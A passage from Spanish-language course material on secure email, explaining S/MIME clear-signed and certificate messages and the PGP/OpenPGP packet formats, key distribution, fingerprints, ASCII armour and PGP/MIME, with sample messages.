ga de un lector con soporte para correo seguro.
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.

Lo que se hace en estos casos es formar un mensaje con dos partes: la

primera se representa como un mensaje normal, que puede ser leído por

cualquier cliente de correo, y la segunda es la firma de la primera. Un

mensaje de este tipo se llamamensaje firmado en claro.

De esta forma, quien disponga de un lector de correo seguro podrá leer

el mensaje y verificar la firma, y quien utilice un lector tradicional po-

drá igualmente leer el mensaje, aunque no podrá comprobar si la firma es

auténtica.

Una de las especificaciones del estándar MIME, el RFC 1847, define la

forma de añadir una firma a un mensaje MIME. El mensaje resultante

tiene las siguientes características:

• El tipo de contenido del mensaje (cabecera MIMEContent-Type )

es “multipart/signed ”.

• La cabeceraContent-Type tiene tres parámetros obligatorios.

– boundary : como en todos los mensajes de tipomultipart , este

parámetro indica el delimitador que se utiliza para separar las partes.

– protocol : indica el tipo de contenido que hay en la parte del mensaje

que contiene la firma.

– micalg : indica el algoritmo o algoritmos dehash, también llamado

MIC, con los que está calculada la firma (para facilitar el procesado del

mensaje en un solo paso).
MIC

MIC es la sigla de
Message Integrity Code,
que es la nomenclatura
que utilizaba el sistema
PEM para referirse al
método de autenticación
de mensaje (cuando se
utilizan claves públicas,
este método es una firma
digital).

• El cuerpo del mensaje consta de dos partes MIME.

– La primera parte es el mensaje sobre el cual se calcula la firma. Tiene la

estructura de una parte MIME, con cabeceras y cuerpo. Como caso par-

ticular, puede tratarse de un mensaje MIME multiparte si, por ejemplo,

se quiere firmar un mensaje con imágenes o documentos anexos.

– La segunda parte contiene la firma, calculada a partir de la forma canóni-

ca de la parte anterior. Esta segunda parte también debe tener la estruc-

tura de una parte MIME, y el valor de su cabeceraContent-Type

debe ser igual al del parámetroprotocol de la cabeceraContent-

Type del mensaje principal.

Cuando se aplica esta técnica MIME de firmas en claro a S/MIME, las

características de los mensajes son las siguientes:

• El parámetroprotocol y, por lo tanto la cabeceraContent-Type

de la segunda parte del mensaje, debe tener el valor “application/

pkcs7-signature ”.

• Si se especifica un número de fichero asociado a la firma, es decir, a la

segunda parte, su extensión es.p7s (por ejemplo, “smime.p7s ”).
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• En el cuerpo de la segunda parte del mensaje hay una estructura PKCS #7

con tipo de contenidoSignedData , pero sin el campocontent en

el campocontentInfo .
Campocontent no
presente

Recordad que en un
mensaje PKCS #7 el
campo content es
opcional y, por lo tanto
existe la posibilidad de
que no esté presente. En
los mensajes S/MIME con
firma en claro se
aprovecha esta
posibilidad.

A la hora de enviar un mensaje S/MIME con firma en claro, en la estruc-

turaSignedData de la segunda parte no se incluyen los datos firmados

porque ya están en la primera parte del mensaje. En el momento de verificar

la firma, el receptor debe actuar igual que si en la estructuraSignedData

de la segunda parte hubieran los datos de la primera parte.

En este caso, se dice que la estructura PKCS #7 tiene datos firmadosno in-
cluidos (detached), a diferencia del otro formato de mensajes firmados, en

el cual la estructura PKCS #7 tiene los datos firmadosincluidos (attached).

Éste es un ejemplo de mensaje S/MIME firmado en claro:

.

Date: Mon, 1 Mar 2004 11:47:40 +0100
From: usuario-1@uoc.edu
Subject: Ejemplo 3
To: usuario-2@uoc.edu
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="20040301104740";

protocol= application/pkcs7-signature"; micalg=md5

--20040301104740
Content-Type: text/plain

Ejemplo de mensaje firmado.

--20040301104740
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
--20040301104740--

2.2.3. Distribución de claves con S/MIME

Como hemos visto hasta este punto, el método que se utiliza en PKCS #7 y

por lo tanto, en S/MIME, para identificar los usuarios y sus claves públicas es

por medio de sus certificados X.509.

Esto quiere decir que un usuario no necesita verificar las identidades de los

demás porque de esto ya se encargan las autoridades de certificación. Lo

único que debe hacer el usuario es comprobar si el certificado (o cadena de

certificados) de su corresponsal está firmado por una CA reconocida y es un

certificado válido, es decir, no está caducado ni revocado.
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Idealmente, la distribución de los certificados de los usuarios se debería poder

realizar mediante el servicio de directorio X.500, pero si este servicio no está

disponible se pueden utilizar otros métodos alternativos.

S/MIME define un tipo especial de mensaje que sirve para transportar certifi-

cados o listas de revocación. Se trata de un mensaje S/MIME con las siguien-

tes características:

• En el cuerpo del mensaje hay una estructura PKCS #7 con tipo de contenido

SignedData , pero sin datos firmados (campocontent del elemento

contentInfo ) ni firmas (camposignerInfos con 0 elementos). Por

lo tanto, los campos con información útil soncertificates y crls .

• El valor del parámetrosmime-type es “certs-only ”.

• Si se especifica un nombre de fichero asociado, su extensión es.p7c (por

ejemplo, “smime.p7c ”).

Éste es un ejemplo de mensaje S/MIME con sólo certificados:

.

Date: Mon, 1 Mar 2004 11:48:05 +0100
From: usuario-1@uoc.edu
Subject: Mi certificado y el de la CA
To: usuario-2@uoc.edu
MIME-Version: 1.0
Content-Type: application/pkcs7-mime; smime-type=certs-only;

name="smime.p7c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7c"
Finalmente, existe otro tipo de mensaje S/MIME para enviarpeticiones de
certificación a una CA. Una petición de certificación es un mensaje que con-

tiene los datos necesarios para que la CA genere un certificado, básicamente

el nombre del titular y su clave pública.

A veces se utiliza como petición de certificación un certificado X.500 auto-

firmado por el interesado. Otras veces se utiliza una estructura de datos defini-

da expresamente a tal efecto, especificada en la norma PKCS #10.

El tipo de mensaje S/MIME utilizado para enviar peticiones de certificación

tiene las siguientes características:
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• En el cuerpo del mensaje hay una estructura PKCS #10.

• El valor de la cabeceraContent-Type es “application/pkcs10 ”.

• Si se especifica un nombre de fichero asociado, su extensión es.p10 (por

ejemplo, “smime.p10 ”).

2.3. PGP y OpenPGP

PGP (Pretty Good Privacy) es un software que proporciona funciones crip-

tográficas y de gestión de claves, desarrollado inicialmente por Philip Zim-

mermann en 1990. Se puede utilizar para proteger cualquier tipo de datos,

pero su uso más habitual consiste en enviar mensajes de correo electrónico

cifrados y/o firmados.

Una de las características distintivas de PGP es el método que utiliza para cer-

tificar la autenticidad de las claves públicas. En lugar de recorrer a autoridades

de certificación, como hace S/MIME, cada usuario puede certificar directa-

mente las claves que está convencido que son auténticas. Y también puede

tomar decisiones respecto a una clave desconocida en función de quienes sean

los usuarios que hayan certificado esta clave.

Otra característica propia de PGP es la eficiencia en el intercambio de los

mensajes ya que, siempre que sea posible, los datos se comprimen antes de

cifrarlos y/o después de firmarlos.

Con el paso del tiempo han ido apareciendo distintas versiones de PGP, algu-

nas de las cuales con distintas variantes como, por ejemplo, versiones “interna-

cionales” para cumplir las restricciones de exportación de software criptográ-

fico fuera de los Estados Unidos, o versiones que para poder ser distribuidas

de forma gratuita no incluyen algoritmos sujetos a patentes en ciertos países.

• Las versiones de PGP hasta la 2.3 se consideran obsoletas: el formato de

las firmas es incompatible con el de las versiones posteriores.
Algoritmos en PGP 2.6.x

Los algoritmos que
utilizan las versiones 2.6.x
de PGP son: IDEA para el
cifrado simétrico, RSA
para el cifrado de clave
pública, y MD5 par el
hash.

• Después de la versión 2.5 se introdujo otro cambio de formato, a causa de

las condiciones de uso de algoritmos patentados en los Estados Unidos (en

concreto, el algoritmo RSA).

• Las versiones 2.6.x y sus variantes han sido durante mucho tiempo las

más difundidas. El formato de los mensajes, llamado indistintamente “ver-

sión 2” o “versión 3” (V3), está documentado en la especificación RFC 1991.

• En las versiones 4.x se introdujeron, entre otras novedades, las claves de

una sola función: claves sólo para cifrar o sólo para firmar.

• Lo que se empezó a diseñar con el nombre de “PGP 3.0” finalmente dio

lugar a las versiones 5.x, que utilizan un nuevo formato para los mensajes,

conocido como “versión 4” (V4) o “OpenPGP” y documentado en la es-
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pecificación RFC 2440.
Algoritmos en PGP 5.x

PGP 5.x contempla el uso
de nuevos algoritmos,
como Triple DES y
CAST-128 para el cifrado
simétrico, DSA y ElGamal
para las firmas, y SHA-1 y
RIPEMD-160 para el
hash. Si trabaja
solamente con IDEA, RSA
y MD5, las versiones 5.x
pueden generar mensajes
totalmente compatibles
con las versiones 2.6.x.

• Las nuevas versiones (PGP 6 y posteriores) añaden mejoras a la funciona-

lidad, pero manteniendo la compatibilidad con las anteriores.

• También se está desarrollando en paralelo, como parte del proyecto GNU,

el software GnuPG (GNU Privacy Guard), basado en OpenPGP y de dis-

tribución totalmente libre (no utiliza algoritmos patentados como RSA o

IDEA).

GnuPG

Podéis encontrar
información sobre el
proyecto GnuPG en
www.gnupg.org .

2.3.1. Formato de los mensajes PGP

Los datos que procesa PGP se codifican con unas estructuras de datos llamadas

paquetes PGP. Un mensaje PGP está formado, pues, por uno o más paquetes

PGP.

.

Un paquete PGP es una secuencia de bytes, con una cabecera que indica

de qué tipo de paquete se trata y su longitud y, a continuación, unos

campos de datos que depenen del tipo de paquete.

El formato V3 define diez tipos de paquetes, mientras que el formato V4 define

catorce. A continuación veremos los principales tipos de paquetes PGP.

1) Paquete de datos literales

Sirve para representar datos en claro, sin cifrar (sería el análogo del con-

tenidoData en PKCS #7).

En un paquete de este tipo existe un campo que da el valor de los datos,

y otro que indica si este valor se debe procesar como texto o como datos

binarios. En el primer caso, las secuencias <CR><LF> que haya en el texto

corresponden a finales de línea y se pueden convertir a la representación

local cuando se tengan que visualizar o guardar en fichero, mientras que en

el segundo caso no se tienen que modificar.

2) Paquete de datos comprimidos

En este tipo de paquete hay un campo que indica el algoritmo de compre-
Algoritmos de
compresión

El algoritmo de
compresión que utiliza
PGP es el ZIP
(RFC 1951), y OpenPGP
utiliza también el
algoritmo ZLIB
(RFC 1950).

sión, y otro que contiene una secuencia de bytes comprimida. Cuando se

descomprimen estos bytes, el resultado debe ser uno o más paquetes PGP.

Normalmente lo que se comprime es un paquete de datos literales, op-

cionalmente precedido por un paquete de firma (que veremos a continua-

ción).

3) Paquete de datos cifrados con clave simétrica

El contenido de este paquete es directamente una secuencia de bytes cifra-
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dos con un algoritmo simétrico. El resultado de descifrarlos tiene que ser

un o más paquetes PGP.
Cifrado simétrico en PGP

PGP utiliza el modo CFB
para el cifrado simétrico.
En lugar de especificar
aparte el vector de
inicialización (VI) se usa
un VI igual a cero, pero a
los datos que hay que
cifrar se les antepone una
cadena de 10 bytes: los
8 primeros son aleatorios,
y los otros 2 son
redundantes (iguales al 7o

y 8o) y sirven para que el
destinatario compruebe si
ha usado la clave correcta
para descifrar.

Típicamente lo que se cifra simétricamente son paquetes de datos en claro

o paquetes de datos comprimidos.

Los paquetes de este tipo se usan para enviar un mensaje de correo cifrado

con sobre digital, o bien cuando el usuario quiere simplemente cifrar un

fichero. En el primer caso, es preciso adjuntar al mensaje la clave simétrica

cifrada de tal forma que sólo la pueda descifrar el destinatario o destinatar-

ios. Esto se realiza con paquetes cifrados con clave pública (el tipo de

paquete PGP que veremos a continuación). En el segundo caso, la clave no

se guarda en ningún sitio sino que el usuario la tiene que recordar cuando

quiera descifrar el fichero. En realidad, el usuario no da directamente la

clave de cifrado si no unapassphrase, a partir de la cual se obtiene la clave

simétrica aplicándole una función dehash.

4) Paquete de datos cifrados con clave pública

En este tipo de paquete hay un campo que sirve para identificar la clave

pública utilizada, otro que indica el algoritmo de cifrado, y otro con los

datos cifrados.

Habitualmente este paquete se utilizaba para cifrar una clave de sesión,

con la cual se habrá generado un paquete de datos cifrados simétricamente,

para enviar un mensaje con sobre digital. La clave pública utilizada en este

caso es la de cada uno de los destinatarios del mensaje.

5) Paquete de firma

Un paquete de este tipo contiene campos con la siguiente información:

• Clase de firma, que puede ser:

– Firma de datos binarios.

– Firma de texto canónico.

– Certificado, es decir, asociación de clave pública con nombre de usuario.

– Revocación de clave pública.

– Revocación de certificado.

– Fechado (timestamp).

• Fecha y hora en que se creó la firma.

• Identificador de la clave con la que se ha creado.

• Algoritmos utilizados para elhashy el cifrado asimétrico.

• La firma, que se obtiene aplicando los algoritmos especificados en los

datos que hay que firmar, concatenados con los campos autenticados.

En el formato V3 estos campos autenticados son la clase de firma y

la fecha de creación. En el formato V4 se puede especificar que otros

campos se autentican.
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• Otros campos añadidos en el formato V4, entre los cuales hay:

– Fecha de caducidad de la firma y de la clave.

– Comentarios del autor de la firma.

– Motivo de revocación (en el caso de las firmas de revocación).

El modo de saber a qué datos corresponde una firma depende del contexto.

Si es la firma de un mensaje de correo, en el mismo mensaje tiene que

haber el paquete con los datos (normalmente datos literales) despues del de

firma. Si es un certificado o una revocación, la firma tiene que ir después

de los paquetes de clave pública y de nombre de usuario correspondientes

(a continuación veremos estos dos tipos de paquetes PGP).

También es posible firmar el contenido de un fichero y dejar el paquete de

firma en un fichero separado. Esto se suele hacer cuando se distribuyen

programas (como, por ejemplo, el propio PGP) para garantizar que una

versión es auténtica y no constituye un “caballo de Troya”. En este caso

la asociación entre datos y firma se puede establecer mediante los nombres

de los ficheros: por ejemplo, el fichero con la firma se puede llamar como

el original, pero con la extensión.sig .

6) Paquete de clave pública

Este tipo de paquete contiene la siguiente información relativa a una clave

pública:

• La fecha de creación de la clave.

• El algoritmo al que corresponde la clave.

• Los valores de los componentes de la clave. Si el algoritmo es RSA,

estos valores son el módulon y el exponente públicoe.

Otros campos del paquete
de clave pública

En el formato V3 hay un
campo que indica el
período de validez de la
clave, pero todas las
implementaciones lo
ponen a 0, que indica que
las claves son válidas
para siempre. En el
formato V4 esta
información se especifica
en los paquetes de firma.
Por otro lado, en V4 están
previstos componentes de
la clave pública para otros
algoritmos además del
RSA.

La clave pública de un usuario se utiliza para enviarle datos cifrados o

para verificar las firmas que genere. Pero los paquetes correspondientes

(datos cifrados con clave pública o firma, respectivamente) no contienen

el valor de la clave pública utilizada, sino solamente suidentificador de
clave.

El identificador de una clave pública es un número de ocho bytes que se

puede utilizar para buscar el valor de la clave en una base de datos.

Identificadores de claves PGP repetidos

Las implementaciones no tienen que suponer que los identificadores de clave sean
únicos: podría haber dos claves PGP distintas con el mismo identificador. Sin
embargo, la probabilidad de que pase esto es muy baja (a no ser que se haga deli-
beradamente), porque puede haber 264 (> 1019) identificadores distintos.

Si, por ejemplo, una firma está generada con una clave que tiene un determi-

Valor del identificador de
clave

En las claves V3 (que son
siempre claves RSA) el
identificador es igual a los
8 bytes de menos peso
del módulo público n. En
las claves V4 es igual a
los 8 bytes de menos
peso de la huella (más
adelante veremos que
son las huellas PGP).

nado identificador, y resulta que hay dos claves con este identificador, es preciso
verificarla con cada una de las claves para comprobar si es válida.

7) Paquete de nombre de usuario
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El contenido de un paquete de este tipo es simplemente una cadena de

caracteres, que se utiliza para identificar el propietario de una clave pública.

Por tanto, tiene la misma función que el DN del sujeto en los certificados

X.509, pero sin ninguna estructura predefinida.

Aunque su formato es libre, se suele seguir el convenio de identificar a los

usuarios con direcciones de correo electrónico RFC 822 como, por ejem-

plo:

. Philip R. Zimmermann <prz@acm.org>

8) Paquete de clave privada

Este tipo de paquete sirve para guardar los componentes de la clave privada

de un usuario. Nunca existe ningún motivo para enviarlo a otro usuario y,

por lo tanto, el formato exacto del paquete puede depender de la imple-

mentación.

Para asegurar la confidencialidad, en el fichero donde se guarde este pa-

quete los componentes secretos de la clave deberían estar cifrados, normal-

mente con una clave simétrica derivada de unapassphrase. De este modo,

cada vez que el usuario quiera descifrar o firmar un mensaje con su clave

privada, deberá indicar estapassphrasepara poder obtener los valores ne-

cesarios.

Un usuario puede tener varias claves, asociadas al mismo o a distintos nom-

bres. En el fichero en el que hayan los paquetes de clave privada, a con-

tinuación de cada uno habrá el paquete o paquetes de nombre de usuario

correspondientes.

9) Paquete de nivel de confianza en una clave

Este tipo de paquete tampoco se envía nunca sino que solamente se guarda

en el almacén de claves propio de cada usuario, ya que únicamente tiene

significado para quien lo ha generado. Sirve para indicar el grado de fiabil-

idad de una clave certificadora, es decir, se utiliza para asociar otras claves

con nombres de usuarios.

En el formato V3 hay otro tipo de paquete que sirve para incluir comentar-

ios, pero se ha suprimido en el formato V4 porque no lo utilizaba ninguna

implementación.

El formato V4 también utiliza otros cinco tipos de paquetes, entre ellos los

relacionados con las llamadassubclaves. Una clave puede tener asociadas

una o más subclaves: normalmente, la clave principal se utiliza para firmar y

las subclaves, para cifrar.
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2.3.2. Distribución de claves PGP

Como hemos comentado al inicio de este apartado, la certificación de claves en

PGP no sigue un modelo jerárquico, como el de las autoridades de certificación

X.509, sino un modelo descentralizado de confianza mutua, a veces llamado

malla de confianza(web of trust).

Lectura complementaria

En el documento
www.cl.cam.ac.uk/
Research/Security/
Trust-Register/
gtr1998introduction
.pdf podéis encontrar
una comparación de los
distintos modelos de
confianza.

Cuando un usuario genera su par de claves PGP (pública y privada), a la clave

pública le tiene que asociar un nombre de usuario y, a continuación, tiene que

autocertificar esta asociación, es decir, firmar con su clave privada la concate-

nación de la clave pública y el nombre. El paquete de la clave pública, el del

nombre de usuario y el de la firma forman unbloque de clave.

Autocertificación de
claves

Cuando se genera un
nuevo par de claves, las
versiones modernas de
PGP firman
automáticamente la clave
pública y el nombre de
usuario con la propia
clave privada. En las
versiones más antiguas
no lo hacían de esta
forma y se tenía que
generar el autocertificado
manualmente.

Opcionalmente, el usuario puede asociar más de un nombre a la clave (por

ejemplo, si tiene diversas direcciones de correo electrónico) y, entonces, el

bloque estará formado por la clave pública y tantos pares nombre–firma como

sea preciso.

En este caso el usuario puede enviar este bloque a otros con los que tenga que

mantener correspondencia. Cada receptor, si está convencido de que la clave

efectivamente corresponde al usuario originador, la certificará añadiendo otro

paquete de firma al bloque (o uno para cada nombre, si hay más de uno y

también los considera auténticos). De este modo, cada usuario dispondrá de

un almacén de claves públicas certificadas (keyring) que podrá utilizar para

cifrar mensajes y verificar firmas de sus corresponsales.

Además de paquetes de claves públicas, nombres de usuario y firmas de certi-

ficación, en unkeyringtambién pueden haber firmas de revocación para inval-

idar una clave o para anular un certificado. La revocación debe estar firmada

Claves de revocación

En OpenPGP también
está prevista la existencia
de claves autorizadas a
revocar otras claves.
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por la propia clave (la que se quiere invalidar o la que generó el certificado que

se quiere anular) y, una vez emitida, es irrevocable.

Otra posibilidad para realizar la distribución es a través de unservidor de
claves PGP, que gestiona un almacén global de claves públicas con sus cer-

tificados (y revocaciones, si es el caso). Varios de estos servidores están
Servidores de claves PGP

En la dirección
www.rediris.es/
cert/servicios/
keyserver/ hay uno de
estos servidores de
claves PGP.

sincronizados entre si, de modo que las actualizaciones del almacén que se

realicen en uno de ellos se propagan automáticamente a todos los demás.

Cualquier usuario puede enviar a un servidor PGP los certificados de su clave,

o de las claves de otros usuarios, para que los añada alKeyringglobal. En este

keyringglobal

El tamaño del “keyring
global” almacenado en los
servidores de claves PGP
es actualmente de más de
2 Gbytes. En la dirección
bcn.boulder.co.us/
˜neal/pgpstat/ podéis
encontrar un interesante
estudio estadístico sobre
las claves de este
almacén.

caso se pueden realizar consultas a los servidores para obtener la clave y los

certificados asociados a un determinado nombre de usuario (o a los nombres

que contengan una determinada subcadena, si no se conoce su valor exacto).

.

Es importante señalar que los servidores PGP no son autoridades de

certificación: cualquier clave pública que se les envíe será añadida al

almacén sin realizar ninguna verificación respecto a la identidad del

propietario.

Es responsabilidad de cada usuario que quiera utilizar una clave de un servidor
Claves PGP falsas

Son famosas, por
ejemplo, las claves con
nombre <president@
whitehouse.gov> que
han sido mandadas a los
servidores PGP por
personas que no tienen
ninguna relación con esta
dirección de correo.

PGP asegurarse de la autenticidad de dicha clave. Para ello, se puede tener en

cuenta que otros usuarios han certificado esta clave.

2.3.3. El proceso de certificación PGP

.
Para facilitar el intercambio y la certificación de claves, PGP asigna a

cada clave pública unahuella (fingerprint), que es simplemente unhash

del valor de la clave.

Esta huella se utiliza para que un usuario pueda comprobar que la clave que
Cálculo de la huella

Para calcular la huella de
las claves V3, la función
hash que se aplica es
MD5 (16 bytes), mientras
que para las claves V4 es
SHA-1 (20 bytes).

ha recibido de otro, o de un servidor de claves, sea efectivamente la que quería

recibir y no una falsificación. El identificador de clave no es suficiente para

este fin, ya que es posible para un impostor construir una clave pública de

la cual conozca la clave privada y que tenga el mismo identificador que otra

clave pública. En cambio, construir una clave con la misma huella que otra es

prácticamente imposible.

El uso de la huella facilita la comprobación de la autenticidad de la clave.

La alternativa sería comprobar todos los bytes uno por uno, lo cual puede

ser incómodo y pesado teniendo en cuenta que actualmente se suelen utilizar

claves de 1.024 bits (256 dígitos hexadecimales), o incluso de 2.048 bits.
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Supongamos, por ejemplo, que un usuarioA necesita certificar la clave de

otro usuarioB porque tiene que intercambiar con él mensajes seguros. El

usuarioA puede pedir aB que le mande su clave pública por correo electrónico

tradicional, o bien obtenerla de un servidor de claves. EntoncesA tiene que

comprobar que nadie ha manipulado el mensaje de respuesta, obteniendo deB

la siguiente información por un canal aparte (no por correo electrónico):

• El identificador de la clave pública deB.

• La huella de esta clave.

• El algoritmo y el número de bits de la clave (el número de bits puede ser

necesario para evitar colisiones en la huella).

Métodos para comunicar la información sobre una clave pública

Un canal seguro para enviar la información anterior puede consistir, por ejemplo, en
la comunicación directa “cara a cara” en una conversación telefónica. También hay
quien se imprime el valor de la huella PGP en su tarjeta, o quien lo hace accesible vía
finger o HTTP (pero este método no es tan seguro).

Otra posibilidad es organizar unakey-signing partyo “reunión de firma de claves”.

Aunque PGP trabaja internamente con identificadores de clave de 8 bytes,

cuando tiene que mostrar sus valores al usuario solamente muestra los 4 bytes

de menos peso. Por ejemplo, si una clave tiene por identificador el valor hexa-

decimal 657984B8C7A966DD, el usuario solamente ve el valor C7A966DD.

Esto da más comodidad sin aumentar significativamente, en la práctica, las

posibilidades de repetición.
Identificadores de cuatro
bytes repetidos

En el caso límite, más de
dos tercios de los
habitantes de la Tierra
podrían tener clave PGP
sin que hubiera ningún
identificador de 4 bytes
repetido.

Éste sería, pues, un ejemplo de toda la información necesaria para certificar

una clave:

.
bits /keyID User ID
1024R/C7A966DD Philip R. Zimmermann <prz@acm.org>
Key fingerprint = 9E 94 45 13 39 83 5F 70 7B E7 D8 ED C4 BE 5A A6

Cuando el usuarioA ha comprobado que los valores que le ha comunicadoB

coinciden con los calculados a partir de la clave pública recibida electrónica-

mente, ya puede certificar que esta clave corresponde al nombre o nombres de

usuario que identifican al usuarioB.

2.3.4. Integración de PGP con el correo electrónico

Como hemos visto anteriormente, un mensaje PGP consta de una secuencia

de paquetes PGP. Pueden existir distintas combinaciones:

• Si es un mensaje cifrado con sobre digital, primero hay tantos paquetes
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como destinatarios, cada uno con la clave de sesión cifrada con la clave

pública del destinatario correspondiente. A continuación aparece el cuerpo

del mensaje, posiblemente comprimido, en un paquete cifrado simétrica-

mente con la clave de sesión.
Cifrado de la clave de
sesión en OpenPGP

OpenPGP también
contempla la posibilidad
de cifrar la clave de
sesión con claves
simétricas, usando un
nuevo tipo de paquete.

• Si es un mensaje firmado, primero encontramos el paquete de firma, y des-

pués el cuerpo del mensaje en un paquete de datos literales. Opcional-

mente, estos dos paquetes se pueden incluir dentro de un paquete com-

primido.

• Si es un mensaje firmado y cifrado, la estructura es como la de los mensajes

cifrados, con la excepción de que cuando se descifra el paquete de datos

cifrados el resultado es un mensaje firmado, es decir, un paquete de firma

seguido de un paquete de datos literales, o bien un paquete comprimido

que cuando se descomprime da los dos paquetes anteriores.

Los mensajes construidos de esta manera contendrán datos binarios arbitra-

rios. Para enviarlos a través de los sistemas de correo electrónico tradicionales

se pueden utilizar dos técnicas: encapsulación RFC 934 y MIME (con el méto-

do llamado PGP/MIME). Con la encapsulación RFC 934 se pueden represen-

tar mensajes cifrados y/o firmados, mensajes firmados en claro, o bloques de

claves públicas.
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La técnica de encapsulación RFC 934

La especificación RFC 934 define una técnica para combinar uno o más mensajes en
un único cuerpo. Ésta es la técnica que utiliza MIME para juntar distintas partes en un
mensaje multiparte.

La encapsulación RFC 934 consiste en concatenar los mensajes que hay que combinar,
poniéndolos simplemente uno a continuación de otro, y utilizando delimitadores de
encapsulación para indicar dónde empieza cada uno y dónde termina el último.

El texto que haya antes del primer delimitador se considera como un “prólogo” y el
que hay después del último delimitador se considera como un “epílogo”, pero ninguno
de los dos forma parte del mensaje encapsulado.

Como delimitadores de encapsulación se utilizan líneas que empiezan con un guión
seguido de otro carácter que no sea espacio. Si dentro de los mensajes que hay que
encapsular hay alguna línea que empiece por un guión, simplemente se le antepone un
guión y un espacio. En el momento de desencapsular, a las líneas que empiecen por
guión y espacio se les suprimen estos dos caracteres. Las que empiecen por guión y
otro carácter serán consideradas como delimitadores. Esto permite la encapsulación
recursiva de mensajes compuestos dentro de otro mensaje compuesto.

1) Mensajes PGP cifrados y/o firmados

Éste es un ejemplo de mensaje PGP, codificado con el método de encapsu-

lación RFC 934.

.

Date: Mon, 1 Mar 2004 11:35:40 +0100
From: usuario-1@uoc.edu
Subject: Ejemplo 4
To: usuario-2@uoc.edu

-----BEGIN PGP MESSAGE-----
Version: 2.6.3y

iQBDAwUBObNQzFDy7z4CpbtnAQF9aQFrBtyRK8bdaPFlht7KeFzO/N0lJTcnYhbS
TvlZsTwr6+iQJqHP5nKnYr0W/Q9mo60AI3QAAAAAAEV4ZW1wbGUgZGUgbWlzc2F0
Z2Ugc2lnbmF0Lg0K
=8gbQ
-----END PGP MESSAGE-----

Como podemos ver en el ejemplo, la estructura del mensaje es la siguiente:

• Como delimitador inicial de encapsulación se utiliza la cadena “BEGIN

PGP MESSAGE” entre dos secuencias de cinco guiones, y el delimita-

dor final es igual pero cambiando “BEGIN” por “END”.

• . Después del delimitador inicial puede haber distintas cabeceras, con
Juego de caracteres en
OpenPGP

En OpenPGP, el juego de
caracteres por defecto es
Unicode (ISO/IEC 10646),
codificado con UTF-8
(RFC 2279)

campos comoVersion para indicar qué versión de PGP ha genera-

do el mensaje,Comment para introducir comentarios del usuario, o

Charset , para especificar el juego de caracteres utilizado en el texto

del mensaje.

• Después de las cabeceras aparece una línea en blanco, y el paquete o

paquetes PGP que forman el mensaje codificado en base 64.

• Inmediatamente después de los paquetes PGP y antes del delimitador de

final, aparece una línea de cinco caracteres: el primero es el signo‘ ‘=”

y los otros cuatro son la codificación en base 64 de un CRC de 24 bits

de todos los bytes de los paquetes. Este CRC sirve para comprobar que
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no se hayan producido modificaciones en el mensaje que hayan podido

afectar a la descodificación.

En la terminología PGP, la secuencia de líneas desde el delimitador de

encapsulación de inicio hasta el del final se llamaarmadura ASCII del

mensaje.

2) Mensajes PGP firmados en claro

Igual que S/MIME, PGP también define un formato para enviar mensajes

firmados en claro, que permite leer el contenido a los usuarios que no dispo-

nen de PGP. Éste es un ejemplo:

.

Date: Mon, 1 Mar 2004 11:35:55 +0100
From: usuario-1@uoc.edu
Subject: Ejemplo 5
To: usuario-2@uoc.edu

-----BEGIN PGP SIGNED MESSAGE-----
Hash: MD5

Ejemplo de mensaje firmado.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3y

iQBDAwUBObNQzFDy7z4CpbtnAQF7aQFrBtyRK8bdaPFlht7KeFzO/N0lJTcnYhbS
TvlZsTwr6+iQJqHP5nKnYr0W/Q9mow==
=5TnX
-----END PGP SIGNATURE-----

En este caso aparecen dos submensajes encapsulados, con la siguiente es-

tructura:

• El delimitador de inicio de la primera parte es la cadena “BEGIN PGP

SIGNED MESSAGE”, con una secuencia de cinco guiones delante y

detrás.

• En el primer submensaje aparecen cero o más cabecerasHash, que in-

dican el algoritmo (o algoritmos) dehashutilizados para calcular la fir-

ma (o firmas), seguidos de una línea en blanco y del cuerpo del mensaje.

La especificación del algoritmo al inicio permite procesar el mensaje en

un solo paso. En ausencia de este campo, se entiende por defecto que la

función dehashutilizada es MD5.
Líneas que empiezan con
guión

Si en el primer
submensaje hay líneas
que empiezan por guión,
hay que añadir la
secuencia “- ” de
acuerdo con RFC 934. La
firma, sin embargo, se
obtiene de las líneas
originales.

• Después del primer submensaje aparece la armadura ASCII de uno o

más paquetes de firma, con un delimitador de inicio formado por la

cadena “BEGIN PGP SIGNATURE”, también con cinco guiones de-

lante y detrás, y con un delimitador de final igual, aunque cambiando

“BEGIN” por “END”.

Las firmas se calculan a partir del cuerpo del mensaje en forma canóni-

ca, es decir, representando los finales de línea con <CR><LF>. Además,

PGP siempre elimina los espacios en blanco y los tabuladores que haya

antes de un final de línea en el momento de obtener las firmas.

3) Mensajes de bloques de claves públicas
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Hay otro formato de armadura PGP que sirve para enviar bloques de claves

públicas y certificados. El delimitador de inicio consta de la cadena “BEGIN

PGP PUBLIC KEY BLOCK” rodeada de dos secuencias de cinco guiones,

y el de final es igual, aunque cambiando “BEGIN” por “END”. Éste es un

ejemplo:

.

Date: Mon, 1 Mar 2004 11:38:20 +0100
From: usuario-1@uoc.edu
Subject: Mi clave PGP
To: usuario-2@uoc.edu

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3y

mQA9AzmvN9AAAAEBbAw1Es5ojfSWtFCPLLOdONBOz+8u96IVp1GIYqVU2ewWQbH8
TAd0UPLvPgKlu2cAEQEAAbQhVXN1YXJpIDEgPHVzdWFyaS0xQGNhbXB1cy51b2Mu
ZXM+iQBCAwUQOa830FDy7z4CpbtnAQFdoQFox7LHdl8wdIA69f4REn14bVYxBaxw
4Y35PJwRWqI2c+8T75vqUdBhiydsZ2Fo
=Ninr
-----END PGP PUBLIC KEY BLOCK-----

Cualquiera de los tipos de armadura que hemos visto se puede utilizar para

intercambiar información PGP con otros medios de transferencia además

del correo electrónico: FTP, HTTP, etc.

4) PGP/MIME

Para incorporar PGP a MIME, inicialmente se definió el tipo de contenido

MIME application/pgp . Más tarde, sin embargo, este tipo de con-

tenido se abandonó en favor del método RFC 1847, que es el mismo que

utiliza S/MIME para los mensajes firmados en claro. Además del tipo de

contenidomultipart/signed correspondiente a los mensajes firma-

dos, RFC 1847 también define el tipomultipart/encrypted corre-

spondiente a los mensajes cifrados.

La técnica para incluir mensajes PGP en mensajes MIME RFC 1847 se

denomina PGP/MIME, y está especificada en el RFC 2015. PGP/MIME

define tres tipos de contenido para las partes MIME que representen men-

